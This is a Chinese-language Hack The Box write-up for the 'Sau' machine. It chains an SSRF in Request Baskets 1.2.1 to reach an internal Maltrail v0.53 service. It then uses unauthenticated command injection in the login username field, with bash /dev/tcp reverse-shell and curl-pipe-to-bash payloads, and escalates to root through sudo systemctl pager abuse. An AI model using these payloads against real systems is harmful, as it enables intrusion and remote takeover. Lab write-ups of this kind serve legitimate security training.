[HTB] sau

First Post:

Last Update:

Word Count:
2.2k

Read Time:
10 min

1688875093932

前言

这台靶机是当前赛季最新靶机。比较考察对基本漏洞原理与利用的理解。

信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~/HTB/sau]
└─$ sudo nmap -p- --min-rate=10000 10.10.11.224
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:19 CST
Warning: 10.10.11.224 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.224
Host is up (0.27s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds

┌──(kali㉿kali)-[~/HTB/sau]
└─$ sudo nmap -sV -sT -O -p22,80 10.10.11.224
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:19 CST
Nmap scan report for 10.10.11.224
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 clo
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/s
Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds

┌──(kali㉿kali)-[~/HTB/sau]
└─$ sudo nmap --script=vuln 10.10.11.224
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 21:20 CST
Nmap scan report for 10.10.11.224
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
55555/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 101.91 seconds

nmap扫完我们发现,80端口以及不知道是啥的8338端口被filtered了,我们访问也是访问不了的,那就是只剩下55555和22端口供我们尝试了。那当然先看55555。

nikto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/HTB/sau]
└─$ sudo nikto -h http://10.10.11.224:55555
[sudo] password for kali:
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.11.224
+ Target Hostname: 10.10.11.224
+ Target Port: 55555
+ Start Time: 2023-07-13 09:27:19 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: /web
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: GET, OPTIONS .
+ /local/httpd$map.conf: WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site.
+ /access/: This might be interesting.
+ /c/: This might be interesting.
+ /test/: This might be interesting.
+ /a/: May be Kebi Web Mail administration menu. See: CWE-552
+ 8076 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-07-13 10:14:45 (GMT8) (2846 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

用nikto扫一下也没啥可以利用的东西,接着往下走吧。

web渗透

访问网站

扫描完了,没啥特别多的信息,先看看网页再说。

5210c809310173913216a10e762afb36

我们在浏览器访问发现是一个Request Baskets页面。作用是创建一个baskets用于收集和检查HTTP请求。我们手动尝试创建了一下,发现确实他描述的那样。

那我们怎么利用呢?页面底部告诉了我们Request Baskets的版本号:Powered by request-baskets | Version: 1.2.1 。那我们就谷歌搜一下看看它存不存在什么可以利用的漏洞。

漏洞利用

Request Baskets 利用

验证PoC

我们搜索一下就可以发现此版本的Request Baskets存在SSRF漏洞,而且还有上交点金手大佬**@beet1e**写的PoC。那我们就按他的PoC说明测试一下吧。

先利用/api/baskets创建一个basket,我们这里直接利用firefox的重发功能弄了,方便一点。forward_url填自己机子的ip做测试,看看收不收得到服务器发来的请求。

6b3b8d071b66db28b8141af66ddab99c

创建完成后我们先开一个nc监听器监听。然后请求一下basket触发一下漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HTB/sau]
└─$ curl -v http://10.10.11.224:55555/poc
* Trying 10.10.11.224:55555...
* Connected to 10.10.11.224 (10.10.11.224) port 55555 (#0)
> GET /poc HTTP/1.1
> Host: 10.10.11.224:55555
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 502 Bad Gateway
< Content-Type: text/plain
< Date: Thu, 13 Jul 2023 02:20:14 GMT
< Content-Length: 133
<
* Connection #0 to host 10.10.11.224 left intact
Failed to forward request: Get http://<HTB_VPN_IP>:443/poc: net/http: HTTP/1.x transport connection broken: malformed HTTP response ""

我们可以发现确实触发了SSRF漏洞,我们接收到了来自服务器端的请求。

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB/sau]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.224] 33300
GET /poc HTTP/1.1
Host: <HTB_VPN_IP>:443
User-Agent: curl/7.88.1
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip
SSRF利用

既然验证存在了SSRF漏洞,我们就要考虑一下如何利用。此处的SSRF漏洞和一般的不太一样,不带什么url参数可供我们读文件啥的。主要是回归SSRF的本质,通过服务器发送请求访问我们原先访问不了的东西。那么首当其冲的就是心心念念的80端口,由于他是filtered了,我们也不知道是被防火墙禁止外网访问还是就是关闭了,我们直接利用SSRF伪造服务器访问80端口并将结果返回给我们就知道了。

既然利用的思路定下来了那我们接下来改改payload就行。我们先让服务器访问80端口看看是什么情况。还是一样先利用/api/baskets创建baskets。

1
2
3
4
5
6
7
{
"forward_url": "http://127.0.0.1:80/",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}

然后访问刚创建的baskets。

1b733f925c0504e85fe40a6259671180

我们发现给我们返回了80端口网页的内容。虽然很多东西都点不了,但是让我们识别到了80端口在跑的服务:Maltrail v0.53。这个服务又有什么说法呢?

Maltrail 利用

遇事不决查google,我们查一下就可以发现,版本小于0.54的Maltrail存在未授权系统命令注入漏洞。那我们可太喜欢了,这不就意味着我们可以反弹shell嘛。

1
2
3
┌──(kali㉿kali)-[~/HTB/sau]
└─$ curl 'http://10.10.11.224:55555/ssrf/login' --data 'username=;`id`'
Login failed

直接用给的PoC尝试一下,发现并没有命令回显,只会显示一个login failed。那这到底是能不能成功利用?不过事已至此,死马都得当活马医,本地先开一个nc监听,直接反弹shell试试。

1
2
3
┌──(kali㉿kali)-[~/HTB/sau]
└─$ curl 'http://10.10.11.224:55555/ssrf/login' --data 'username=;`/bin/bash -i >& /dev/tcp/<HTB_VPN_IP>/443 0>&1`'
Login failed

然而本地nc并没有收到连接。那到底是哪里出了问题呢?难道是反弹shell那里因为编码或者其他问题执行失败了?那我们采用另一种不受编码影响方式反弹看看。我们把/bin/bash -i >& /dev/tcp/<HTB_VPN_IP>/443 0>&1写入一个sh文件,然后让服务器请求这个文件。当然本地得开一个简单的web服务器,用python -m http.server就行。

1
2
┌──(kali㉿kali)-[~/HTB/sau]
└─$ curl 'http://10.10.11.224:55555/ssrf/login' --data 'username=;`curl <HTB_VPN_IP>:8000/exp.sh|bash`'

这次,我们就收到了我们的反弹shell了。

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/HTB/sau]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.224] 50012
bash: cannot set terminal process group (889): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$

puma的home目录有user flag。

提权

第一步不用说了sudo -l

1
2
3
4
5
6
7
8
puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

这次竟然有东西。惊了。而且systemctl我记得是有利用方式的来着。去gtfobins查一下果然发现有sudo权限的systemctl可以用于提权。

但是,这时候先别急,如果你直接按照gtfo上的方式c你会发现并进入不了编辑界面,因为此时你尚处于非交互shell。

所以此时第一件事,也是一种好习惯,就是先用pyhton搞一个交互性更好的shell。

python3 -c "import pty;pty.spawn('/bin/bash')"

现在万事俱备,开造就完事。

1
2
3
4
5
6
7
8
9
10
11
puma@sau:/opt/maltrail$ sudo systemctl status trail.service
sudo systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)

拿下,root flag在/root目录下就有。

总结

这台机子主要考察对SSRF的理解,除了网上常见的教程中的SSRF的利用方式,我们还要记住SSRF本质:伪造从而让服务器发送请求,并将请求的结果返回到本机。这里搞定了其他就没啥问题了。